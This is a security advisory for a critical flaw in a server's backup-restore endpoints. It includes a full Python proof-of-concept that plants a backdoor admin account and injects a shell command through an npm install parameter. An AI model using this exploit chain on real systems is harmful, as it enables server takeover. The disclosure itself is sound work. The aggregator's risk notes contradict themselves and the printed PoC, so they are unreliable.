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GHSA-w3x5-7c4c-66p9

CriticalCVSS 9.6 / 10
Published Jan 2, 2026·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

Summary

An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).

Details

The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.

Vulnerable Code Analysis:

  1. Global State: restoreFilePath is defined at the top level of the module.
    // src/serverroutes.ts
    let restoreFilePath: string
    
  2. Unauthenticated State Pollution: The /skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it.
    app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => {
      // ... handles file upload ...
      restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path
    })
    
  3. Restore Hijacking: The /skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration.
    app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => {
      // ...
      const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path
      // ...
    })
    

Exploit Chain:

  1. Pollution: Attacker uploads a malicious zip file to /validateBackup. The server saves it and updates restoreFilePath to point to this malicious file.
  2. Hijacking: When /restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.
  3. Backdoor: The attacker overwrites security.json to add a new administrator account.
  4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (/skServer/appstore/install/...) to execute arbitrary system commands (e.g., npm install injection).

PoC

Here is a complete Python script to reproduce the full exploit chain.

import requests
import zipfile
import io
import json
import time

# Configuration
TARGET_URL = "http://localhost:3000"
BACKDOOR_USER = "hacker"
BACKDOOR_PASS = "hacked1234"

def step1_plant_backdoor():
    print("[*] Step 1: Planting Backdoor via State Pollution...")
    
    # 1. Create malicious zip with security.json
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w') as z:
        # Add backdoor admin user
        security_config = {
            "users": [{
                "username": BACKDOOR_USER,
                "password": BACKDOOR_PASS, 
                "permissions": "admin"
            }]
        }
        z.writestr("security.json", json.dumps(security_config))
        # Enable security to make the backdoor effective
        z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
    zip_buffer.seek(0)

    # 2. Pollute State (Unauthenticated)
    print("    [+] Sending malicious backup to /validateBackup...")
    res = requests.post(f"{TARGET_URL}/skServer/validateBackup", 
                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
    if res.status_code != 200:
        print("    [-] Failed to pollute state.")
        return False

    # 3. Trigger Restore (Hijacking)
    print("    [+] Triggering restore to overwrite server config...")
    # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.
    # Here we assume we can trigger it or security is currently off.
    res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True})
    
    if res.status_code in [200, 202]:
        print("    [+] Restore triggered successfully. Backdoor planted.")
        print("    [!] PLEASE RESTART THE SERVER to load the new configuration.")
        return True
    else:
        print(f"    [-] Restore failed: {res.status_code} {res.text}")
        return False

def step2_execute_rce():
    print("\n[*] Step 2: Executing RCE as Backdoor User...")
    
    # 1. Login
    session = requests.Session()
    login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS}
    res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload)
    
    if res.status_code != 200:
        print("    [-] Login failed. Did you restart the server?")
        return
    
    token = res.json()['token']
    print("    [+] Login successful. Authenticated as Admin.")

    # 2. RCE Payload (Windows Example)
    # Injecting command into version parameter of npm install
    # Command: echo RCE_SUCCESS > rce_proof.txt
    cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &"
    
    # We need a valid package name to bypass existence check
    package_name = "@signalk/freeboard-sk" 
    
    print(f"    [+] Sending RCE payload: {cmd_payload}")
    headers = {'Authorization': f'Bearer {token}'}
    try:
        session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}", 
                     headers=headers, timeout=5)
    except:
        pass # Timeout is expected as the command might hang or take time

    print("    [+] Payload sent. Check for 'rce_proof.txt' in server root.")

if __name__ == "__main__":
    # Run Step 1, then restart server manually, then Run Step 2
    # step1_plant_backdoor()
    step2_execute_rce()

Impact

Remote Code Execution (RCE), Account Takeover, Denial of Service. Verified: RCE is demonstrated by creating a file named rce_proof.txt containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.

Risk Scores
Base Score
9.6

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
8.8

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
17.93%

The exploit probability is low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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